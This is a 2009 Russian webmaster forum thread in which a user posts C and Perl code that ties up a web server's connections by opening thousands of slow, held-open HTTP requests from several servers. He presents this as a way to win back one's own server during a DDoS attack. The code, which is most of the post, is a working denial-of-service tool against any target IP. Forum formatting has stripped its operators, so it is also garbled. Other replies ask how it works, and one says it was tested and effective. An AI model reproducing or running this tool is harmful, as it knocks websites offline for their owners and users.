Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB58.9610
BTC/USD0.0000
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 15.02.2009, 04:27   #1
Bananz
Техноманьяк
 
Регистрация: 12.02.2009
Сообщений: 118
Бабло: $6200
Отправить сообщение для Bananz с помощью ICQ
По умолчанию Выбивание DDoS

Привет всем.
Ловите просто так неклассичный метод выбивания HTTP-DDoS с вашего сервера, на который у вас больше нет доступа (вы не успеваете зайти на него по SSH - соединение рвётся удалённым сервом).

Ахтунг. Для корректной работы советую использовать три-четыре сервера "армии освобождения".

Итак.
Пусть у нас есть сервер под атакой ($IP). Яркими признаками DDoS атаки по HTTP является крайне медленное открытие сокета на 80, 443 порты. Быстрое открывание сокета на SSH либо любые другие сервисы, но невозможность получить ответ вовремя.

Топаем на наш второй сервер (чем он ближе к отбиваемому и чем толще у него канал, тем лучше нам - будет выше эффективность).
Нам понадобится gcc и pth для работы "выбивалки" и perl для системы мониторинга. Также понадобится screen для распараллеливания.

Наши исходные программы:

run.c
PHP код:
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>


int MAX_TH 10;
const 
int timeout 1;  // seconds
const int port 80;

pthread_t threads;
char host NULL;
char initial_message[] = "GET / HTTP/1.0\r\nHost: localhost\r\n";


void PERROR(const char msgint error) {
        if (
msg) {
                
write(1msgstrlen(msg));
                
write(1": "2);
        }
        
write(1strerror(error), strlen(strerror(error)));
        
write(1"\n"1);
}

void pipe_handler(int sig) {
        
signal(sigpipe_handler);
}

void run_thread(void idenc) {
        while (
1) {
                
int r;
                
int s;
                
int i;
                
struct sockaddr_in addr;
                
char buff[] = "1: 1\r\n";
                
int id = (int)idenc;

                
socket(PF_INETSOCK_STREAM0);
                
addr.sin_family PF_INET;
                
addr.sin_port htons(port);
                
inet_aton(host, &addr.sin_addr);

                
connect(s, (const  struct sockaddr *)&addrsizeof(addr));
                if (
0) {
                        
PERROR("Connection failed"r);
                        
//sleep(timeout);
                        
continue;
                }

                
send(sinitial_message,  sizeof(initial_message), 0);
                
//
                
while (0) {
                        
sleep(timeout);
                        
send(sbuffsizeof(buff), 0);
                }
                
//
                
close(s);
        }

        
pthread_exit(NULL);
        return 
NULL;
}

int main(int argcchar ** argv) {
        
int i;
        
int r;

        if (
argc 2) {
                
int threads atoi(argv[2]);
                if (
threads <= 0)
                        
fprintf(stderr"Invalid max number of threads\n");
                
MAX_TH threads;
        } else if (
argc 2) {
                
fprintf(stderr"Usage: %s target_host_ip [max_threads]\n"argv[0]);
                return 
1;
        }

        
host argv[1];

        
threads = (pthread_t *)malloc(sizeof(pthread_t) * MAX_TH);
        for (
0MAX_THi++) {
                
pthread_create(&threads[i], NULLrun_thread, (void *)i);
                if (
rPERROR("pthread_create"r);
                
pthread_detach(threads[i]);
        }

        
signal(SIGPIPEpipe_handler);

        
pthread_exit(NULL);
        return 
0;

start.pl
PHP код:
#!/usr/bin/perl

$toStart 20;
$server "TARGET IP";
for (
$i=0;$i<$toStart;$i++) {
    
system("screen -d -m ./a.out ".$server." 350");
    
sleep(3);
}

for (;;) {
    
undef(@ar);
    
open(CMD"netstat -an | grep EST | grep ".$server.":80 |");
    @
ar = <CMD>;
    
close(CMD);

    print 
"Now=".$#ar."\n";
    
sleep(2);

stop.pl
PHP код:
#!/bin/bash
pkill -9 screen
screen 
-wipe 
Укладываем всю эту красоту в одну папочку.
Компилируем и выдаём права на исполнение
Код:
gcc run.c -lpthread
chmod +x ./start.pl
chmod +x ./stop.pl
Получаем фалик a.out

Внутри уже прошиты константы (20х350) "мощности" нашего войска на сервер. Выполняем вот такие операции с копированием и компилированием программ на сервера "армии освобождения". И потом запускаем start.pl на всех этих серверах.
Я вам настоятельно советую следить за статусом серверов "освободителей" - у меня одна такая армия сразу догнала ненагруженный сервер до 35 процессов в очереди.

После того как операция завершена и доступ на сервер получен, стоит запустить stop.pl на каждом из серверов-"освободителей".



Мощность этой системы пока слабоизучена. Однако, мне она помогла освободить достаточно хлипкий сервер, на который летело 450 запросов в секунду в ни в чём неповинный бедный вордпресс менее чем за 4 минуты (при помощи двух серверов-освободителей).



MrBananas [http://mrbananas.ru]
Dragonfly [http://octets.ru]
Bananz вне форума  
Старый 15.02.2009, 13:03   #2
cjtraff
Ебланнед
 
Регистрация: 20.08.2007
Сообщений: 377
Бабло: $29620
По умолчанию

Принцип работы что-то не вкурил
cjtraff вне форума  
Старый 15.02.2009, 13:56   #3
yami
Senior Member
 
Аватар для yami
 
Регистрация: 03.04.2007
Сообщений: 1,051
Бабло: $111920
По умолчанию

не понятно
__________________
-->-> Рублю на RU CPA - ActionAds.ru <-<--
Быть бедным плохо. По возможности старайтесь избегать этого.

Последний раз редактировалось yami; 15.02.2009 в 14:33.
yami вне форума  
Старый 15.02.2009, 13:58   #4
Bananz
Техноманьяк
 
Регистрация: 12.02.2009
Сообщений: 118
Бабло: $6200
ТС -->
Отправить сообщение для Bananz с помощью ICQ
автор темы ТС По умолчанию

Всё гениальное просто (равно как и парадоксально).

DDoS атака на httpd - суть набор "тяжёлых" коннекций, которые генерируют огроменную очередь процессов и мешают нам зайти на сервер из-за сверхнагрузки.
От них нужно каким-нибудь образом избавиться. А именно:
-обрезать их ДО сервера (но какие?)
-обрезать на сервере
-исключить возможность соединения в-принципе (имитировать упавший апач)

Как известно, у любой оси есть конечный набор соединений, которые она в состоянии обслужить в момент времени и сам httpd в состоянии обслужить строго конечный набор таких соединений.

Сишная программка генерирует в страшных количествах коннекции с удалённым веб-сервером, делает "долгий" запрос (типа запрос от товарища с очень медленным интернетом), который никак не может отправить свои кукизы или ещё какие-нибудь заголовки. httpd, конечно, в какой-то момент понимает, что его обманывают и товарищ какой-то вредный и ничего хорошего не шлёт: дропает соединение. Тогда коннекция регенерируется.
Задача всего это хозяйства (армий спасения) - выбить все возможные соединения, которые httpd в состоянии удержать.

В нашем случае 2х20х350 = 14000 теоретических соединений, порядка 12к практических.

Удалённый злоумышленник просто не может получить сокет для совершения вредносоного вызова, так как все сокеты _уже_ заняты.

Надеюсь, объяснил достаточно внятно
Bananz вне форума  
Старый 15.02.2009, 14:45   #5
Tosser
Yea!
 
Аватар для Tosser
 
Регистрация: 15.02.2008
Сообщений: 2,333
Бабло: $313955
По умолчанию

кто здесь?
__________________
Tosser вне форума  
Старый 15.02.2009, 14:55   #6
Nou
Senior Member
 
Регистрация: 11.07.2007
Сообщений: 2,074
Бабло: $134959
По умолчанию

Цитата:
Сообщение от Tosser Посмотреть сообщение
кто здесь?
привет!
Nou вне форума  
Старый 15.02.2009, 14:58   #7
medar
кодер-энтузиаст
 
Аватар для medar
 
Регистрация: 04.04.2007
Адрес: Джамайка
Сообщений: 3,410
Бабло: $447110
По умолчанию

Отлично, Bananz, спасибо!
medar вне форума  
Старый 15.02.2009, 14:59   #8
majordon
Senior Member
 
Аватар для majordon
 
Регистрация: 11.10.2008
Сообщений: 5,908
Бабло: $828918
По умолчанию

насколько это может быть эффективно в действии?кто испытывал и как?
majordon вне форума  
Старый 15.02.2009, 15:03   #9
Nou
Senior Member
 
Регистрация: 11.07.2007
Сообщений: 2,074
Бабло: $134959
По умолчанию

Цитата:
Сообщение от majordon Посмотреть сообщение
насколько это может быть эффективно в действии?кто испытывал и как?
Бля, не поверишь, сегодня ночью испытали. Эффективно.
Nou вне форума  
Старый 15.02.2009, 15:05   #10
D007
саловер
 
Аватар для D007
 
Регистрация: 17.04.2007
Сообщений: 3,137
Бабло: $281145
Отправить сообщение для D007 с помощью ICQ
По умолчанию

принцип - клин клином вышибают
D007 вне форума  
Закрытая тема



Опции темы
Опции просмотра